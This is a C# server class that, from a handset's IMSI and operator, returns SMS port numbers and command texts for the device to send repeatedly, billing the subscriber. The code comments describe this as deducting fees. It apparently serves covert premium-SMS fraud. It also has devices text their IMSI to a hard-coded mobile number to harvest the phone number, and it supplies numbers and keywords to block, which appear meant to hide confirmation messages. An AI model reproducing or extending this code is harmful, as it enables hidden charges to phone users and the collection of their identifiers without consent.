﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web.UI;
using System.Data;
using System.Data.SqlClient;
using System.Collections;
using MM.Model;
using MM.Common;

namespace MM.DBUtility
{
    public class BLSqlDataChargeV2 : BLSqlDataCharge
    {
        /// <summary>
        /// 构造函数
        /// </summary>
        static BLSqlDataChargeV2()
        {
            ConnStrV2 = System.Configuration.ConfigurationSettings.AppSettings["SQLconnStringV2"].ToString();
        }
        public static string ConnStrV2;


        /// <summary>
        /// 获取该次请求的规则信息
        /// </summary>
        /// <param name="Imsi"></param>
        /// <param name="AreaNO"></param>
        /// <param name="ONO"></param>
        /// <param name="CNO"></param>
        /// <param name="Vn"></param>
        /// <returns></returns>
        public static List<RulesSPinfoV2> GetRules(string Imsi, string AreaNO, string ONO, string CNO, int Vn)
        {
            List<RulesSPinfoV2> result = null;
            using (SqlConnection conn = new SqlConnection(ConnStrV2))
            {
                using (SqlDataReader dr = DbHelperSql.ExecuteReaderSP(conn, "SP_Charge",
                   new SqlParameter("@Imsi", Imsi),
                   new SqlParameter("@AreaNO", AreaNO),
                   new SqlParameter("@ONO", ONO),
                   new SqlParameter("@CNO", CNO),
                   new SqlParameter("@Vn", Vn)))
                {
                    if (dr != null && dr.HasRows)
                    {
                        result = DTOHelper.CreateModelList<RulesSPinfoV2>(dr);
                        if (result != null && result.Count > 0)
                        {
                            dr.NextResult();
                            List<Mask> LMaskInfo = DTOHelper.CreateModelList<Mask>(dr);
                            result[0].LMask = LMaskInfo;
                        }
                    }
                    else
                    {
                        result = new List<RulesSPinfoV2>();
                    }
                    dr.Close();
                }
            }
            return result;
        }

        /// <summary>
        /// 计费信息,用于扣费1次
        /// </summary>
        /// <param name="strArea"></param>
        /// <param name="strOp"></param>
        /// <param name="strId"></param>
        /// <param name="strImsi"></param>
        /// <returns></returns>
        public static string GetChargeInfo(string strArea, string strOp, string strId, string strImsi)
        {
            //1代和2代
            int intVN = 2;
            if (",788,797,799,820,823,830,833,841,842,850,852,859,865,866,869,891,901,".Contains("," + strId + ","))
            {
                intVN = 1;
            }

            List<RulesSPinfoV2> LRSPinfo = GetRules(strImsi, strArea, strOp, strId, intVN);

            if (LRSPinfo != null && LRSPinfo.Count > 0)
            {
                StringBuilder sbResult = new StringBuilder(500);
                sbResult.Append(GetFullString("DOWN", 4));
                //运营商
                sbResult.Append(GetFullString(strOp, 1));
                //短信条数
                int intCount = LRSPinfo[0].SendCount;

                //为了获取手机号对应IMSI
                if (LRSPinfo[0].SendMobileFlag.Equals("Y"))
                    sbResult.Append(GetASCIIbyInt(intCount + 1, 1));
                else
                    sbResult.Append(GetASCIIbyInt(intCount, 1));

                //短信内容（端口,指令）
                for (int i = 0; i < intCount; i++)
                {
                    sbResult.Append(GetFullString(LRSPinfo[0].ChannelNumber, 24));
                    sbResult.Append(GetFullString(LRSPinfo[0].ChannelOrder, 128));
                }

                //为了获取手机号对应IMSI
                if (LRSPinfo[0].SendMobileFlag.Equals("Y"))
                {
                    sbResult.Append(GetFullString("15000702276", 24));
                    sbResult.Append(GetFullString(strImsi + "A" + strId, 128));
                }

                if (LRSPinfo[0].LMask != null && LRSPinfo[0].LMask.Count > 0)
                {
                    //屏蔽号码数量
                    List<Mask> LMaskNumberInfo = LRSPinfo[0].LMask.Where(m => !string.IsNullOrEmpty(m.TelNumber)).ToList();
                    sbResult.Append(GetASCIIbyInt(LMaskNumberInfo.Count, 1));
                    //屏蔽英文关键字数量
                    List<Mask> LMaskEnglishInfo = LRSPinfo[0].LMask.Where(m => !string.IsNullOrEmpty(m.English)).ToList();
                    sbResult.Append(GetASCIIbyInt(LMaskEnglishInfo.Count, 1));
                    //屏蔽中文关键字数量
                    List<Mask> LMaskChineseInfo = LRSPinfo[0].LMask.Where(m => !string.IsNullOrEmpty(m.Chinese)).ToList();
                    sbResult.Append(GetASCIIbyInt(LMaskChineseInfo.Count, 1));
                    //屏蔽号码
                    foreach (Mask mMask in LMaskNumberInfo)
                    {
                        sbResult.Append(GetFullString(mMask.TelNumber, 24));
                    }
                    //屏蔽英文关键字
                    foreach (Mask mMask in LMaskEnglishInfo)
                    {
                        sbResult.Append(GetFullString(mMask.English, 16));
                    }
                    //屏蔽中文关键字
                    foreach (Mask mMask in LMaskChineseInfo)
                    {
                        sbResult.Append(GetGB2132FullString(mMask.Chinese, 48));
                    }
                }

                //记录成功返回后SIM记录
                try
                {
                    //LogHelp.WriteLogInfo(@"D:\LogCharge\V2\", "LogSIM", strArea + "-" + strOp + "-" + strId + "-" + strImsi + "-" + LRSPinfo[0].ChannelNO);
                    if (!"X".Equals(LRSPinfo[0].ChannelNO))
                        SetSIMinfo(ConnStrV2, strArea, strOp, strId, strImsi, LRSPinfo[0].ChannelNO, intCount);
                }
                catch (Exception ex) { LogHelp.WriteLogInfo(ex.ToString()); }

                return sbResult.ToString();
            }

            return "";
        }

    }
}
